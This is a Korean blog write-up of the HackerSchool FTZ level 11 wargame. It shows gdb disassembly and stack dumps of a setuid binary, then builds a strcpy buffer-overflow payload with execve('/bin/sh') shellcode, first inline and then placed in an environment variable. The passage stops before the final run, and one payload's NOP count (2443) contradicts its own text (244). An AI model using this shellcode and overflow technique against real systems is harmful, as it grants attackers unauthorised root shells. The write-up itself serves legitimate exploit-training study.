-
lvl 11Wargame/HackerSchool FTZ 2019. 1. 13. 21:38
→ 힌트 정보 열람.
→ setreuid 함수 및 strcpy 함수를 볼 수 있다. BOF 문제같지만, strcpy 함수의 인자를 보면, argv[1]을 str로 넣고, print(str)을 한다. 포맷스트링 문제도 된다.
→ BOF 문제로 먼저 접근해, tmp로 복사한 후, gdb로 디버깅한다.
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
→ main+3에 0x108만큼 할당한다. 0x108은 10진수로 264이고, 힌트 코드를 보면 str[256]이다. 따라서, 8바이트 정도 더미코드가 추가된 것으로 추측 가능하다. main +9에서 8바이트 할당하는 것은 setreuid 함수 호출에 필요한 파라미터 2개를 위한 것이다. 어차피 함수가 종료된 후, 스택이 다시 정리되므로 무시하고 strcpy 함수 호출 전을 살펴봐야 한다.
→ 예상되는 메모리 맵 구조는 아래와 같다.
→ bp를 설정하고, 넉넉히 A를 280바이트 정도 던져본다.
(gdb) b main
Breakpoint 1 at 0x8048479
(gdb) r `python -c 'print "A"*280'`
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*280'`
Breakpoint 1, 0x08048479 in main ()
(gdb) b *main+48
Breakpoint 2 at 0x80484a0
(gdb) c
Continuing.
Breakpoint 2, 0x080484a0 in main ()
(gdb) x/100x $esp
0xbffff120: 0xbffff130 0xbffffb18 0xbffff150 0x00000001
0xbffff130: 0x40016380 0x00000000 0x00000000 0x078e530f
0xbffff140: 0xbffff1e0 0x40015a38 0x0029656e 0x00000000
0xbffff150: 0x4200b894 0x400160b0 0x00000000 0x00000000
0xbffff160: 0x00000000 0x00000000 0x00000000 0x4000807f
0xbffff170: 0x4001582c 0x00001f1f 0xbffff1a0 0xbffff1cc
0xbffff180: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e
0xbffff190: 0x4000807f 0x4001582c 0x0000005b 0x40015a38
0xbffff1a0: 0xbffff1f0 0x4000be03 0x40015bd4 0x40016380
0xbffff1b0: 0x00000001 0x00000000 0x4200dba3 0x420069e4
0xbffff1c0: 0x42130a14 0xbffffafd 0xbffff284 0xbffff204
0xbffff1d0: 0x4000bcc0 0x08049620 0x00000001 0x0804824b
0xbffff1e0: 0x4210fd3c 0x42130a14 0xbffff208 0x4210fdf6
0xbffff1f0: 0x08049538 0x0804963c 0x00000000 0x00000000
0xbffff200: 0x4210fdc0 0x42130a14 0xbffff228 0x08048451
0xbffff210: 0x08049538 0x0804963c 0x4001582c 0x0804839e
0xbffff220: 0x080482e4 0x42130a14 0xbffff238 0x080482fa
0xbffff230: 0x4200af84 0x42130a14 0xbffff258 0x42015574
0xbffff240: 0x00000002 0xbffff284 0xbffff290 0x4001582c
0xbffff250: 0x00000002 0x08048370 0x00000000 0x08048391
0xbffff260: 0x08048470 0x00000002 0xbffff284 0x080482e4
0xbffff270: 0x08048500 0x4000c660 0xbffff27c 0x00000000
0xbffff280: 0x00000002 0xbffffafd 0xbffffb18 0x00000000
0xbffff290: 0xbffffc31 0xbffffc4f 0xbffffc5f 0xbffffc6a
0xbffff2a0: 0xbffffc78 0xbffffc9a 0xbffffcad 0xbffffcba
(gdb) ni
0x080484a5 in main ()
(gdb) x/100x $esp
0xbffff120: 0xbffff130 0xbffffb18 0xbffff150 0x00000001
0xbffff130: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff140: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff150: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff160: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0xbffff200 0x4001582c
0xbffff250: 0x00000002 0x08048370 0x00000000 0x08048391
0xbffff260: 0x08048470 0x00000002 0xbffff284 0x080482e4
0xbffff270: 0x08048500 0x4000c660 0xbffff27c 0x00000000
0xbffff280: 0x00000002 0xbffffafd 0xbffffb18 0x00000000
0xbffff290: 0xbffffc31 0xbffffc4f 0xbffffc5f 0xbffffc6a
0xbffff2a0: 0xbffffc78 0xbffffc9a 0xbffffcad 0xbffffcba
→ 실제 str의 시작주소는 0xbffff130이고, 더미는 0xbfff230이다. 그리고 sfp는 0xbffff238, ret는 0xbffff23c 로 추측된다. 해당 주소에 맞춰서 페이로드를 만들면 아래와 같다.
r `python -c 'print "\x90"*256+"A"*8+"B"*4+"C"*4'`
→ 실제 쉘 코드를 입혀야 한다. 쉘 코드는 아래와 같다. (25바이트)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
→ ret를 제외한 거리가 268-25=243 이다. 그러면 nop 244개 채우고, 쉘 코드 그리고 ret 주소를 nop 로 올리면된다. 아래와 같이 실행을 시도했다.
./attackme `python -c 'print "\x90"*2443+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xe0\xff\xbf"'`
→ 실제로 수행했더니, 세그먼테이션 폴트가 발생했다. 그래서, gdb로 디버깅해본 결과, 메모리 주소가 달라져있었다. nop로 올리는 메모리 주소가 달라져서 RET에 입력할 주소가 고정적이지 않았다.
→ 따라서 에그쉘을 사용해야 한다. 환경 변수의 주소는 OS상 항상 올라와있는 메모리로 변하지 않는다. 아래와 같이 환경 변수에 쉘 코드를 삽입한다.
export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
→ 환경 변수의 주소는 아래 코드를 컴파일해서, 실행하면 알 수 있다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
→ 환경 변수의 주소가 0xbffffc1b로 확인되고 아래와 같이 재공격을 수행했다.
댓글